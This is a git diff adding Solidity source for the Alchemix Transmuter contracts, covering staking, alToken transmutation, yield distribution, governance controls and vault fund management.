+    mapping(YearnVaultAdapterWithIndirection => bool) public adapters;
+
+    /// @dev A list of all of the vaults. The last element of the list is the vault that is currently being used for
+    /// deposits and withdraws. VaultWithIndirections before the last element are considered inactive and are expected to be cleared.
+    VaultWithIndirection.List private _vaults;
+
+    /// @dev make sure the contract is only initialized once.
+    bool public initialized;
+
+    /// @dev mapping of user account to the last block they acted
+    mapping(address => uint256) public lastUserAction;
+
+    /// @dev number of blocks to delay between allowed user actions
+    uint256 public minUserActionDelay;
+
+    event GovernanceUpdated(
+        address governance
+    );
+
+    event PendingGovernanceUpdated(
+        address pendingGovernance
+    );
+
+    event SentinelUpdated(
+        address sentinel
+    );
+
+    event TransmuterPeriodUpdated(
+        uint256 newTransmutationPeriod
+    );
+
+    event TokenClaimed(
+        address claimant,
+        address token,
+        uint256 amountClaimed
+    );
+
+    event AlUsdStaked(
+        address staker,
+        uint256 amountStaked
+    );
+
+    event AlUsdUnstaked(
+        address staker,
+        uint256 amountUnstaked
+    );
+
+    event Transmutation(
+        address transmutedTo,
+        uint256 amountTransmuted
+    );
+
+    event ForcedTransmutation(
+        address transmutedBy,
+        address transmutedTo,
+        uint256 amountTransmuted
+    );
+
+    event Distribution(
+        address origin,
+        uint256 amount
+    );
+
+    event WhitelistSet(
+        address whitelisted,
+        bool state
+    );
+
+    event KeepersSet(
+        address[] keepers,
+        bool[] states
+    );
+
+    event PlantableThresholdUpdated(
+        uint256 plantableThreshold
+    );
+    
+    event PlantableMarginUpdated(
+        uint256 plantableMargin
+    );
+
+    event MinUserActionDelayUpdated(
+        uint256 minUserActionDelay
+    );
+
+    event ActiveVaultUpdated(
+        YearnVaultAdapterWithIndirection indexed adapter
+    );
+
+    event PauseUpdated(
+        bool status
+    );
+
+    event FundsRecalled(
+        uint256 indexed vaultId,
+        uint256 withdrawnAmount,
+        uint256 decreasedValue
+    );
+
+    event FundsHarvested(
+        uint256 withdrawnAmount,
+        uint256 decreasedValue
+    );
+
+    event RewardsUpdated(
+        address treasury
+    );
+
+    event MigrationComplete(
+        address migrateTo,
+        uint256 fundsMigrated
+    );
+
+    constructor(address _alToken, address _token, address _governance) public {
+        require(_governance != ZERO_ADDRESS, "Transmuter: 0 gov");
+        governance = _governance;
+        alToken = _alToken;
+        token = _token;
+        transmutationPeriod = 500000;
+        minUserActionDelay = 1;
+        pause = true;
+    }
+
+    ///@return displays the user's share of the pooled alTokens.
+    function dividendsOwing(address account) public view returns (uint256) {
+        uint256 newDividendPoints = totalDividendPoints.sub(lastDividendPoints[account]);
+        return depositedAlTokens[account].mul(newDividendPoints).div(pointMultiplier);
+    }
+
+    /// @dev Checks that caller is not a eoa.
+    ///
+    /// This is used to prevent contracts from interacting.
+    modifier noContractAllowed() {
+            require(!address(msg.sender).isContract() && msg.sender == tx.origin, "no contract calls");
+        _;
+    }
+
+    ///@dev modifier to fill the bucket and keep bookkeeping correct incase of increase/decrease in shares
+    modifier updateAccount(address account) {
+        uint256 owing = dividendsOwing(account);
+        if (owing > 0) {
+            unclaimedDividends = unclaimedDividends.sub(owing);
+            tokensInBucket[account] = tokensInBucket[account].add(owing);
+        }
+        lastDividendPoints[account] = totalDividendPoints;
+        _;
+    }
+    ///@dev modifier add users to userlist. Users are indexed in order to keep track of when a bond has been filled
+    modifier checkIfNewUser() {
+        if (!userIsKnown[msg.sender]) {
+            userList[nextUser] = msg.sender;
+            userIsKnown[msg.sender] = true;
+            nextUser++;
+        }
+        _;
+    }
+
+    ///@dev run the phased distribution of the buffered funds
+    modifier runPhasedDistribution() {
+        uint256 _lastDepositBlock = lastDepositBlock;
+        uint256 _currentBlock = block.number;
+        uint256 _toDistribute = 0;
+        uint256 _buffer = buffer;
+
+        // check if there is something in bufffer
+        if (_buffer > 0) {
+            // NOTE: if last deposit was updated in the same block as the current call
+            // then the below logic gates will fail
+
+            //calculate difference in time
+            uint256 deltaTime = _currentBlock.sub(_lastDepositBlock);
+
+            // distribute all if bigger than timeframe
+            if(deltaTime >= transmutationPeriod) {
+                _toDistribute = _buffer;
+            } else {
+
+                //needs to be bigger than 0 cuzz solidity no decimals
+                if(_buffer.mul(deltaTime) > transmutationPeriod)
+                {
+                    _toDistribute = _buffer.mul(deltaTime).div(transmutationPeriod);
+                }
+            }
+
+            // factually allocate if any needs distribution
+            if(_toDistribute > 0){
+
+                // remove from buffer
+                buffer = _buffer.sub(_toDistribute);
+
+                // increase the allocation
+                increaseAllocations(_toDistribute);
+            }
+        }
+
+        // current timeframe is now the last
+        lastDepositBlock = _currentBlock;
+        _;
+    }
+
+    /// @dev A modifier which checks if whitelisted for minting.
+    modifier onlyWhitelisted() {
+        require(whiteList[msg.sender], "Transmuter: !whitelisted");
+        _;
+    }
+
+    /// @dev A modifier which checks if caller is a keepr.
+    modifier onlyKeeper() {
+        require(keepers[msg.sender], "Transmuter: !keeper");
+        _;
+    }
+
+    /// @dev Checks that the current message sender or caller is the governance address.
+    ///
+    ///
+    modifier onlyGov() {
+        require(msg.sender == governance, "Transmuter: !governance");
+        _;
+    }
+
+    /// @dev checks that the block delay since a user's last action is longer than the minimum delay
+    ///
+    modifier ensureUserActionDelay() {
+        require(block.number.sub(lastUserAction[msg.sender]) >= minUserActionDelay, "action delay not met");
+        lastUserAction[msg.sender] = block.number;
+        _;
+    }
+
+    ///@dev set the transmutationPeriod variable
+    ///
+    /// sets the length (in blocks) of one full distribution phase
+    function setTransmutationPeriod(uint256 newTransmutationPeriod) public onlyGov() {
+        transmutationPeriod = newTransmutationPeriod;
+        emit TransmuterPeriodUpdated(newTransmutationPeriod);
+    }
+
+    ///@dev claims the base token after it has been transmuted
+    ///
+    ///This function reverts if there is no realisedToken balance
+    function claim() 
+        public
+        noContractAllowed()
+    {
+        address sender = msg.sender;
+        require(realisedTokens[sender] > 0);
+        uint256 value = realisedTokens[sender];
+        realisedTokens[sender] = 0;
+        ensureSufficientFundsExistLocally(value);
+        IERC20Burnable(token).safeTransfer(sender, value);
+        emit TokenClaimed(sender, token, value);
+    }
+
+    ///@dev Withdraws staked alTokens from the transmuter
+    ///
+    /// This function reverts if you try to draw more tokens than you deposited
+    ///
+    ///@param amount the amount of alTokens to unstake
+    function unstake(uint256 amount) 
+        public
+        noContractAllowed()
+        updateAccount(msg.sender)
+    {
+        // by calling this function before transmuting you forfeit your gained allocation
+        address sender = msg.sender;
+        require(depositedAlTokens[sender] >= amount,"Transmuter: unstake amount exceeds deposited amount");
+        depositedAlTokens[sender] = depositedAlTokens[sender].sub(amount);
+        totalSupplyAltokens = totalSupplyAltokens.sub(amount);
+        IERC20Burnable(alToken).safeTransfer(sender, amount);
+        emit AlUsdUnstaked(sender, amount);
+    }
+    ///@dev Deposits alTokens into the transmuter 
+    ///
+    ///@param amount the amount of alTokens to stake
+    function stake(uint256 amount)
+        public
+        noContractAllowed()
+        ensureUserActionDelay()
+        runPhasedDistribution()
+        updateAccount(msg.sender)
+        checkIfNewUser()
+    {
+        require(!pause, "emergency pause enabled");
+
+        // requires approval of AlToken first
+        address sender = msg.sender;
+        //require tokens transferred in;
+        IERC20Burnable(alToken).safeTransferFrom(sender, address(this), amount);
+        totalSupplyAltokens = totalSupplyAltokens.add(amount);
+        depositedAlTokens[sender] = depositedAlTokens[sender].add(amount);
+        emit AlUsdStaked(sender, amount);
+    }
+    /// @dev Converts the staked alTokens to the base tokens in amount of the sum of pendingdivs and tokensInBucket
+    ///
+    /// once the alToken has been converted, it is burned, and the base token becomes realisedTokens which can be recieved using claim()    
+    ///
+    /// reverts if there are no pendingdivs or tokensInBucket
+    function transmute() 
+        public 
+        noContractAllowed()
+        ensureUserActionDelay()
+        runPhasedDistribution() 
+        updateAccount(msg.sender) {
+        address sender = msg.sender;
+        uint256 pendingz = tokensInBucket[sender];
+        uint256 diff;
+
+        require(pendingz > 0, "need to have pending in bucket");
+
+        tokensInBucket[sender] = 0;
+
+        // check bucket overflow
+        if (pendingz > depositedAlTokens[sender]) {
+            diff = pendingz.sub(depositedAlTokens[sender]);
+
+            // remove overflow
+            pendingz = depositedAlTokens[sender];
+        }
+
+        // decrease altokens
+        depositedAlTokens[sender] = depositedAlTokens[sender].sub(pendingz);
+
+        // BURN ALTOKENS
+        IERC20Burnable(alToken).burn(pendingz);
+
+        // adjust total
+        totalSupplyAltokens = totalSupplyAltokens.sub(pendingz);
+
+        // reallocate overflow
+        increaseAllocations(diff);
+
+        // add payout
+        realisedTokens[sender] = realisedTokens[sender].add(pendingz);
+
+        emit Transmutation(sender, pendingz);
+    }
+
+    /// @dev Executes transmute() on another account that has had more base tokens allocated to it than alTokens staked.
+    ///
+    /// The caller of this function will have the surlus base tokens credited to their tokensInBucket balance, rewarding them for performing this action
+    ///
+    /// This function reverts if the address to transmute is not over-filled.
+    ///
+    /// @param toTransmute address of the account you will force transmute.
+    function forceTransmute(address toTransmute)
+        public
+        noContractAllowed()
+        ensureUserActionDelay()
+        runPhasedDistribution()
+        updateAccount(msg.sender)
+        updateAccount(toTransmute)
+        checkIfNewUser()
+    {
+        //load into memory
+        address sender = msg.sender;
+        uint256 pendingz = tokensInBucket[toTransmute];
+        // check restrictions
+        require(
+            pendingz > depositedAlTokens[toTransmute],
+            "Transmuter: !overflow"
+        );
+
+        // empty bucket
+        tokensInBucket[toTransmute] = 0;
+
+        // calculaate difference
+        uint256 diff = pendingz.sub(depositedAlTokens[toTransmute]);
+
+        // remove overflow
+        pendingz = depositedAlTokens[toTransmute];
+
+        // decrease altokens
+        depositedAlTokens[toTransmute] = 0;
+
+        // BURN ALTOKENS
+        IERC20Burnable(alToken).burn(pendingz);
+        // adjust total
+        totalSupplyAltokens = totalSupplyAltokens.sub(pendingz);
+
+        // reallocate overflow
+        tokensInBucket[sender] = tokensInBucket[sender].add(diff);
+
+        // add payout
+        realisedTokens[toTransmute] = realisedTokens[toTransmute].add(pendingz);
+
+        uint256 value = realisedTokens[toTransmute];
+
+        ensureSufficientFundsExistLocally(value);
+
+        // force payout of realised tokens of the toTransmute address
+        realisedTokens[toTransmute] = 0;
+        IERC20Burnable(token).safeTransfer(toTransmute, value);
+        emit ForcedTransmutation(sender, toTransmute, value);
+    }
+
+    /// @dev Transmutes and unstakes all alTokens
+    ///
+    /// This function combines the transmute and unstake functions for ease of use
+    function exit() public noContractAllowed() {
+        transmute();
+        uint256 toWithdraw = depositedAlTokens[msg.sender];
+        unstake(toWithdraw);
+    }
+
+    /// @dev Transmutes and claims all converted base tokens.
+    ///
+    /// This function combines the transmute and claim functions while leaving your remaining alTokens staked.
+    function transmuteAndClaim() public noContractAllowed() {
+        transmute();
+        claim();
+    }
+
+    /// @dev Transmutes, claims base tokens, and withdraws alTokens.
+    ///
+    /// This function helps users to exit the transmuter contract completely after converting their alTokens to the base pair.
+    function transmuteClaimAndWithdraw() public noContractAllowed() {
+        transmute();
+        claim();
+        uint256 toWithdraw = depositedAlTokens[msg.sender];
+        unstake(toWithdraw);
+    }
+
+    /// @dev Distributes the base token proportionally to all alToken stakers.
+    ///
+    /// This function is meant to be called by the Alchemist contract for when it is sending yield to the transmuter. 
+    /// Anyone can call this and add funds, idk why they would do that though...
+    ///
+    /// @param origin the account that is sending the tokens to be distributed.
+    /// @param amount the amount of base tokens to be distributed to the transmuter.
+    function distribute(address origin, uint256 amount) public onlyWhitelisted() runPhasedDistribution() {
+        require(!pause, "emergency pause enabled");
+        IERC20Burnable(token).safeTransferFrom(origin, address(this), amount);
+        buffer = buffer.add(amount);
+        _plantOrRecallExcessFunds();
+        emit Distribution(origin, amount);
+    }
+
+    /// @dev Allocates the incoming yield proportionally to all alToken stakers.
+    ///
+    /// @param amount the amount of base tokens to be distributed in the transmuter.
+    function increaseAllocations(uint256 amount) internal {
+        if(totalSupplyAltokens > 0 && amount > 0) {
+            totalDividendPoints = totalDividendPoints.add(
+                amount.mul(pointMultiplier).div(totalSupplyAltokens)
+            );
+            unclaimedDividends = unclaimedDividends.add(amount);
+        } else {
+            buffer = buffer.add(amount);
+        }
+    }
+
+    /// @dev Gets the status of a user's staking position.
+    ///
+    /// The total amount allocated to a user is the sum of pendingdivs and inbucket.
+    ///
+    /// @param user the address of the user you wish to query.
+    ///
+    /// returns user status
+    
+    function userInfo(address user)
+        public
+        view
+        returns (
+            uint256 depositedAl,
+            uint256 pendingdivs,
+            uint256 inbucket,
+            uint256 realised
+        )
+    {
+        uint256 _depositedAl = depositedAlTokens[user];
+        uint256 _toDistribute = buffer.mul(block.number.sub(lastDepositBlock)).div(transmutationPeriod);
+        if(block.number.sub(lastDepositBlock) > transmutationPeriod){
+            _toDistribute = buffer;
+        }
+        uint256 _pendingdivs = _toDistribute.mul(depositedAlTokens[user]).div(totalSupplyAltokens);
+        uint256 _inbucket = tokensInBucket[user].add(dividendsOwing(user));
+        uint256 _realised = realisedTokens[user];
+        return (_depositedAl, _pendingdivs, _inbucket, _realised);
+    }
+
+    /// @dev Gets the status of multiple users in one call
+    ///
+    /// This function is used to query the contract to check for
+    /// accounts that have overfilled positions in order to check 
+    /// who can be force transmuted.
+    ///
+    /// @param from the first index of the userList
+    /// @param to the last index of the userList
+    ///
+    /// returns the userList with their staking status in paginated form. 
+    function getMultipleUserInfo(uint256 from, uint256 to)
+        public
+        view
+        returns (address[] memory theUserList, uint256[] memory theUserData)
+    {
+        uint256 i = from;
+        uint256 delta = to - from;
+        address[] memory _theUserList = new address[](delta); //user
+        uint256[] memory _theUserData = new uint256[](delta * 2); //deposited-bucket
+        uint256 y = 0;
+        uint256 _toDistribute = buffer.mul(block.number.sub(lastDepositBlock)).div(transmutationPeriod);
+        if(block.number.sub(lastDepositBlock) > transmutationPeriod){
+            _toDistribute = buffer;
+        }
+        for (uint256 x = 0; x < delta; x += 1) {
+            _theUserList[x] = userList[i];
+            _theUserData[y] = depositedAlTokens[userList[i]];
+            _theUserData[y + 1] = dividendsOwing(userList[i]).add(tokensInBucket[userList[i]]).add(_toDistribute.mul(depositedAlTokens[userList[i]]).div(totalSupplyAltokens));
+            y += 2;
+            i += 1;
+        }
+        return (_theUserList, _theUserData);
+    }
+
+    /// @dev Gets info on the buffer
+    ///
+    /// This function is used to query the contract to get the
+    /// latest state of the buffer
+    ///
+    /// @return _toDistribute the amount ready to be distributed
+    /// @return _deltaBlocks the amount of time since the last phased distribution
+    /// @return _buffer the amount in the buffer 
+    function bufferInfo() public view returns (uint256 _toDistribute, uint256 _deltaBlocks, uint256 _buffer){
+        _deltaBlocks = block.number.sub(lastDepositBlock);
+        _buffer = buffer; 
+        _toDistribute = _buffer.mul(_deltaBlocks).div(transmutationPeriod);
+    }
+
+    /// @dev Sets the pending governance.
+    ///
+    /// This function reverts if the new pending governance is the zero address or the caller is not the current
+    /// governance. This is to prevent the contract governance being set to the zero address which would deadlock
+    /// privileged contract functionality.
+    ///
+    /// @param _pendingGovernance the new pending governance.
+    function setPendingGovernance(address _pendingGovernance) external onlyGov() {
+        require(_pendingGovernance != ZERO_ADDRESS, "Transmuter: 0 gov");
+
+        pendingGovernance = _pendingGovernance;
+
+        emit PendingGovernanceUpdated(_pendingGovernance);
+    }
+
+    /// @dev Accepts the role as governance.
+    ///
+    /// This function reverts if the caller is not the new pending governance.
+    function acceptGovernance() external  {
+        require(msg.sender == pendingGovernance,"!pendingGovernance");
+        address _pendingGovernance = pendingGovernance;
+        governance = _pendingGovernance;
+
+        emit GovernanceUpdated(_pendingGovernance);
+    }
+
+    /// @dev Sets the whitelist
+    ///
+    /// This function reverts if the caller is not governance
+    ///
+    /// @param _toWhitelist the address to alter whitelist permissions.
+    /// @param _state the whitelist state.
+    function setWhitelist(address _toWhitelist, bool _state) external onlyGov() {
+        whiteList[_toWhitelist] = _state;
+        emit WhitelistSet(_toWhitelist, _state);
+    }
+
+    /// @dev Sets the keeper list
+    ///
+    /// This function reverts if the caller is not governance
+    ///
+    /// @param _keepers the accounts to set states for.
+    /// @param _states the accounts states.
+    function setKeepers(address[] calldata _keepers, bool[] calldata _states) external onlyGov() {
+        uint256 n = _keepers.length;
+        for(uint256 i = 0; i < n; i++) {
+            keepers[_keepers[i]] = _states[i];
+        }
+        emit KeepersSet(_keepers, _states);
+    }
+
+    /// @dev Initializes the contract.
+    ///
+    /// This function checks that the transmuter and rewards have been set and sets up the active vault.
+    ///
+    /// @param _adapter the vault adapter of the active vault.
+    function initialize(YearnVaultAdapterWithIndirection _adapter) external onlyGov {
+        require(!initialized, "Transmuter: already initialized");
+        require(rewards != ZERO_ADDRESS, "Transmuter: cannot initialize rewards address to 0x0");
+
+        _updateActiveVault(_adapter);
+
+        initialized = true;
+    }
+
+    function migrate(YearnVaultAdapterWithIndirection _adapter) external onlyGov() {
+        _updateActiveVault(_adapter);
+    }
+
+    /// @dev Updates the active vault.
+    ///
+    /// This function reverts if the vault adapter is the zero address, if the token that the vault adapter accepts
+    /// is not the token that this contract defines as the parent asset, or if the contract has not yet been initialized.
+    ///
+    /// @param _adapter the adapter for the new active vault.
+    function _updateActiveVault(YearnVaultAdapterWithIndirection _adapter) internal {
+        require(_adapter != YearnVaultAdapterWithIndirection(ZERO_ADDRESS), "Transmuter: active vault address cannot be 0x0.");
+        require(address(_adapter.token()) == token, "Transmuter.vault: token mismatch.");
+        require(!adapters[_adapter], "Adapter already in use");
+        adapters[_adapter] = true;
+        _vaults.push(VaultWithIndirection.Data({
+            adapter: _adapter,
+            totalDeposited: 0
+        }));
+
+        emit ActiveVaultUpdated(_adapter);
+    }
+
+    /// @dev Gets the number of vaults in the vault list.
+    ///
+    /// @return the vault count.
+    function vaultCount() external view returns (uint256) {
+        return _vaults.length();
+    }
+
+    /// @dev Get the adapter of a vault.
+    ///
+    /// @param _vaultId the identifier of the vault.
+    ///
+    /// @return the vault adapter.
+    function getVaultAdapter(uint256 _vaultId) external view returns (address) {
+        VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId);
+        return address(_vault.adapter);
+    }
+
+    /// @dev Get the total amount of the parent asset that has been deposited into a vault.
+    ///
+    /// @param _vaultId the identifier of the vault.
+    ///
+    /// @return the total amount of deposited tokens.
+    function getVaultTotalDeposited(uint256 _vaultId) external view returns (uint256) {
+        VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId);
+        return _vault.totalDeposited;
+    }
+
+
+    /// @dev Recalls funds from active vault if less than amt exist locally
+    ///
+    /// @param amt amount of funds that need to exist locally to fulfill pending request
+    function ensureSufficientFundsExistLocally(uint256 amt) internal {
+        uint256 currentBal = IERC20Burnable(token).balanceOf(address(this));
+        if (currentBal < amt) {
+            uint256 diff = amt - currentBal;
+            // get enough funds from active vault to replenish local holdings & fulfill claim request
+            _recallExcessFundsFromActiveVault(plantableThreshold.add(diff));
+        }
+    }
+
+    /// @dev Recalls all planted funds from a target vault
+    ///
+    /// @param _vaultId the id of the vault from which to recall funds
+    function recallAllFundsFromVault(uint256 _vaultId) external {
+        require(pause && (msg.sender == governance || msg.sender == sentinel), "Transmuter: not paused, or not governance or sentinel");
+        _recallAllFundsFromVault(_vaultId);
+    }
+
+    /// @dev Recalls all planted funds from a target vault
+    ///
+    /// @param _vaultId the id of the vault from which to recall funds
+    function _recallAllFundsFromVault(uint256 _vaultId) internal {
+        VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId);
+        (uint256 _withdrawnAmount, uint256 _decreasedValue) = _vault.withdrawAll(address(this));
+        emit FundsRecalled(_vaultId, _withdrawnAmount, _decreasedValue);
+    }
+
+    /// @dev Recalls planted funds from a target vault
+    ///
+    /// @param _vaultId the id of the vault from which to recall funds
+    /// @param _amount the amount of funds to recall
+    function recallFundsFromVault(uint256 _vaultId, uint256 _amount) external {
+        require(pause && (msg.sender == governance || msg.sender == sentinel), "Transmuter: not paused, or not governance or sentinel");
+        _recallFundsFromVault(_vaultId, _amount);
+    }
+
+    /// @dev Recalls planted funds from a target vault
+    ///
+    /// @param _vaultId the id of the vault from which to recall funds
+    /// @param _amount the amount of funds to recall
+    function _recallFundsFromVault(uint256 _vaultId, uint256 _amount) internal {
+        VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId);
+        (uint256 _withdrawnAmount, uint256 _decreasedValue) = _vault.withdraw(address(this), _amount);
+        emit FundsRecalled(_vaultId, _withdrawnAmount, _decreasedValue);
+    }
+
+    /// @dev Recalls planted funds from the active vault
+    ///
+    /// @param _amount the amount of funds to recall
+    function _recallFundsFromActiveVault(uint256 _amount) internal {
+        _recallFundsFromVault(_vaults.lastIndex(), _amount);
+    }
+
+    /// @dev Plants or recalls funds from the active vault
+    ///
+    /// This function plants excess funds in an external vault, or recalls them from the external vault
+    /// Should only be called as part of distribute()
+    function _plantOrRecallExcessFunds() internal {
+        // check if the transmuter holds more funds than plantableThreshold
+        uint256 bal = IERC20Burnable(token).balanceOf(address(this));
+        uint256 marginVal = plantableThreshold.mul(plantableMargin).div(100);
+        if (bal > plantableThreshold.add(marginVal)) {
+            uint256 plantAmt = bal - plantableThreshold;
+            // if total funds above threshold, send funds to vault
+            VaultWithIndirection.Data storage _activeVault = _vaults.last();
+            _activeVault.deposit(plantAmt);
+        } else if (bal < plantableThreshold.sub(marginVal)) {
+            // if total funds below threshold, recall funds from vault
+            // first check that there are enough funds in vault
+            uint256 harvestAmt = plantableThreshold - bal;
+            _recallExcessFundsFromActiveVault(harvestAmt);
+        }
+    }
+
+    /// @dev Recalls up to the harvestAmt from the active vault
+    ///
+    /// This function will recall less than harvestAmt if only less is available
+    ///
+    /// @param _recallAmt the amount to harvest from the active vault
+    function _recallExcessFundsFromActiveVault(uint256 _recallAmt) internal {
+        VaultWithIndirection.Data storage _activeVault = _vaults.last();
+        uint256 activeVaultVal = _activeVault.totalValue();
+        if (activeVaultVal < _recallAmt) {
+            _recallAmt = activeVaultVal;
+        }
+        if (_recallAmt > 0) {
+            _recallFundsFromActiveVault(_recallAmt);
+        }
+    }
+
+    /// @dev Sets the address of the sentinel
+    ///
+    /// @param _sentinel address of the new sentinel
+    function setSentinel(address _sentinel) external onlyGov() {
+        require(_sentinel != ZERO_ADDRESS, "Transmuter: sentinel address cannot be 0x0.");
+        sentinel = _sentinel;
+        emit SentinelUpdated(_sentinel);
+    }
+
+    /// @dev Sets the threshold of total held funds above which excess funds will be planted in yield farms.
+    ///
+    /// This function reverts if the caller is not the current governance.
+    ///
+    /// @param _plantableThreshold the new plantable threshold.
+    function setPlantableThreshold(uint256 _plantableThreshold) external onlyGov() {
+        plantableThreshold = _plantableThreshold;
+        emit PlantableThresholdUpdated(_plantableThreshold);
+    }
+
+    /// @dev Sets the plantableThreshold margin for triggering the planting or recalling of funds on harvest
+    ///
+    /// This function reverts if the caller is not the current governance.
+    ///
+    /// @param _plantableMargin the new plantable margin.
+    function setPlantableMargin(uint256 _plantableMargin) external onlyGov() {
+        plantableMargin = _plantableMargin;
+        emit PlantableMarginUpdated(_plantableMargin);
+    }
+
+    /// @dev Sets the minUserActionDelay 
+    ///
+    /// This function reverts if the caller is not the current governance.
+    ///
+    /// @param _minUserActionDelay the new min user action delay.
+    function setMinUserActionDelay(uint256 _minUserActionDelay) external onlyGov() {
+        minUserActionDelay = _minUserActionDelay;
+        emit MinUserActionDelayUpdated(_minUserActionDelay);
+    }
+
+    /// @dev Sets if the contract should enter emergency exit mode.
+    ///
+    /// There are 2 main reasons to pause:
+    ///     1. Need to shut down deposits in case of an emergency in one of the vaults
+    ///     2. Need to migrate to a new transmuter
+    ///
+    /// While the transmuter is paused, deposit() and distribute() are disabled
+    ///
+    /// @param _pause if the contract should enter emergency exit mode.
+    function setPause(bool _pause) external {
+        require(msg.sender == governance || msg.sender == sentinel, "!(gov || sentinel)");
+        pause = _pause;
+        emit PauseUpdated(_pause);
+    }
+
+    /// @dev Harvests yield from a vault.
+    ///
+    /// @param _vaultId the identifier of the vault to harvest from.
+    ///
+    /// @return the amount of funds that were harvested from the vault.
+    function harvest(uint256 _vaultId) external onlyKeeper() returns (uint256, uint256) {
+
+        VaultWithIndirection.Data storage _vault = _vaults.get(_vaultId);
+
+        (uint256 _harvestedAmount, uint256 _decreasedValue) = _vault.harvest(rewards);
+
+        emit FundsHarvested(_harvestedAmount, _decreasedValue);
+
+        return (_harvestedAmount, _decreasedValue);
+    }
+
+    /// @dev Sets the rewards contract.
+    ///
+    /// This function reverts if the new rewards contract is the zero address or the caller is not the current governance.
+    ///
+    /// @param _rewards the new rewards contract.
+    function setRewards(address _rewards) external onlyGov() {
+        // Check that the rewards address is not the zero address. Setting the rewards to the zero address would break
+        // transfers to the address because of `safeTransfer` checks.
+        require(_rewards != ZERO_ADDRESS, "Transmuter: rewards address cannot be 0x0.");
+
+        rewards = _rewards;
+
+        emit RewardsUpdated(_rewards);
+    }
+
+    /// @dev Migrates transmuter funds to a new transmuter
+    ///
+    /// @param migrateTo address of the new transmuter
+    function migrateFunds(address migrateTo) external onlyGov() {
+        require(migrateTo != address(0), "cannot migrate to 0x0");
+        require(pause, "migrate: set emergency exit first");
+
+        // leave enough funds to service any pending transmutations
+        uint256 totalFunds = IERC20Burnable(token).balanceOf(address(this));
+        uint256 migratableFunds = totalFunds.sub(totalSupplyAltokens, "not enough funds to service stakes");
+        IERC20Burnable(token).approve(migrateTo, migratableFunds);
+        ITransmuter(migrateTo).distribute(address(this), migratableFunds);
+        emit MigrationComplete(migrateTo, migratableFunds);
+    }
+
+}
diff --git a/defi/Alchemix/contracts/TransmuterEth.sol b/defi/Alchemix/contracts/TransmuterEth.sol
new file mode 100644
index 000000000..43ed8acb8
--- /dev/null
+++ b/defi/Alchemix/contracts/TransmuterEth.sol
@@ -0,0 +1,960 @@
+pragma solidity 0.6.12;
+
+import "@openzeppelin/contracts/GSN/Context.sol";
+import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+import "@openzeppelin/contracts/math/SafeMath.sol";
+import "@openzeppelin/contracts/utils/Address.sol";
+import "./interfaces/IERC20Burnable.sol";
+import {YearnVaultAdapterWithIndirection} from "./adapters/YearnVaultAdapterWithIndirection.sol";
+import {VaultWithIndirection} from "./libraries/alchemist/VaultWithIndirection.sol";
+import {ITransmuter} from "./interfaces/ITransmuter.sol";
+import {IWETH9} from "./interfaces/IWETH9.sol";
+
+//    ___    __        __                _               ___                              __         _ 
+//   / _ |  / / ____  / /  ___   __ _   (_) __ __       / _ \  ____ ___   ___ ___   ___  / /_  ___  (_)
+//  / __ | / / / __/ / _ \/ -_) /  ' \ / /  \ \ /      / ___/ / __// -_) (_-</ -_) / _ \/ __/ (_-< _
+// /_/ |_|/_/  \__/ /_//_/\__/ /_/_/_//_/  /_\_\      /_/    /_/   \__/ /___/\__/ /_//_/\__/ /___/(_)
+//
+// .___________..______           ___      .__   __.      _______..___  ___.  __    __  .___________. _______ .______
+// |           ||   _  \         /   \     |  \ |  |     /       ||   \/   | |  |  |  | |           ||   ____||   _  \
+// `---|  |----`|  |_)  |       /  ^  \    |   \|  |    |   (----`|  \  /  | |  |  |  | `---|  |----`|  |__   |  |_)  |
+//     |  |     |      /       /  /_\  \   |  . `  |     \   \    |  |\/|  | |  |  |  |     |  |     |   __|  |      /
+//     |  |     |  |\  \----. /  _____  \  |  |\   | .----)   |   |  |  |  | |  `--'  |     |  |     |  |____ |  |\  \----.
+//     |__|     | _| `._____|/__/     \__\ |__| \__| |_______/    |__|  |__|  \______/      |__|     |_______|| _| `._____|
+/**
+ * @dev Implementation of the {IERC20Burnable} interface.
+ *
+ * This implementation is agnostic to the way tokens are created. This means
+ * that a supply mechanism has to be added in a derived contract using {_mint}.
+ * For a generic mechanism see {ERC20PresetMinterPauser}.
+ *
+ * TIP: For a detailed writeup see our guide
+ * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
+ * to implement supply mechanisms].
+ *
+ * We have followed general OpenZeppelin guidelines: functions revert instead
+ * of returning `false` on failure. This behavior is nonetheless conventional
+ * and does not conflict with the expectations of ERC20 applications.
+ *
+ * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
+ * This allows applications to reconstruct the allowance for all accounts just
+ * by listening to said events. Other implementations of the EIP may not emit
+ * these events, as it isn't required by the specification.
+ *
+ * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
+ * functions have been added to mitigate the well-known issues around setting
+ * allowances. See {IERC20Burnable-approve}.
+ */
+contract TransmuterEth is Context {
+    using SafeMath for uint256;
+    using SafeERC20 for IERC20Burnable;
+    using Address for address;
+    using VaultWithIndirection for VaultWithIndirection.Data;
+    using VaultWithIndirection for VaultWithIndirection.List;
+
+    address public constant ZERO_ADDRESS = address(0);
+    uint256 public transmutationPeriod;
+
+    address public alToken;
+    address public token;
+
+    mapping(address => uint256) public depositedAlTokens;
+    mapping(address => uint256) public tokensInBucket;
+    mapping(address => uint256) public realisedTokens;
+    mapping(address => uint256) public lastDividendPoints;
+
+    mapping(address => bool) public userIsKnown;
+    mapping(uint256 => address) public userList;
+    uint256 public nextUser;
+
+    uint256 public totalSupplyAltokens;
+    uint256 public buffer;
+    uint256 public lastDepositBlock;
+
+    ///@dev values needed to calculate the distribution of base asset in proportion for alTokens staked
+    uint256 public pointMultiplier = 10e18;
+
+    uint256 public totalDividendPoints;
+    uint256 public unclaimedDividends;
+
+    /// @dev alchemist addresses whitelisted
+    mapping (address => bool) public whiteList;
+
+    /// @dev addresses whitelisted to run keepr jobs (harvest)
+    mapping (address => bool) public keepers;
+
+    /// @dev The threshold above which excess funds will be deployed to yield farming activities
+    uint256 public plantableThreshold = 50000000000000000000; // 50 ETH
+
+    /// @dev The % margin to trigger planting or recalling of funds
+    uint256 public plantableMargin = 5;
+
+    /// @dev The address of the account which currently has administrative capabilities over this contract.
+    address public governance;
+
+    /// @dev The address of the pending governance.
+    address public pendingGovernance;
+
+    /// @dev The address of the account which can perform emergency activities
+    address public sentinel;
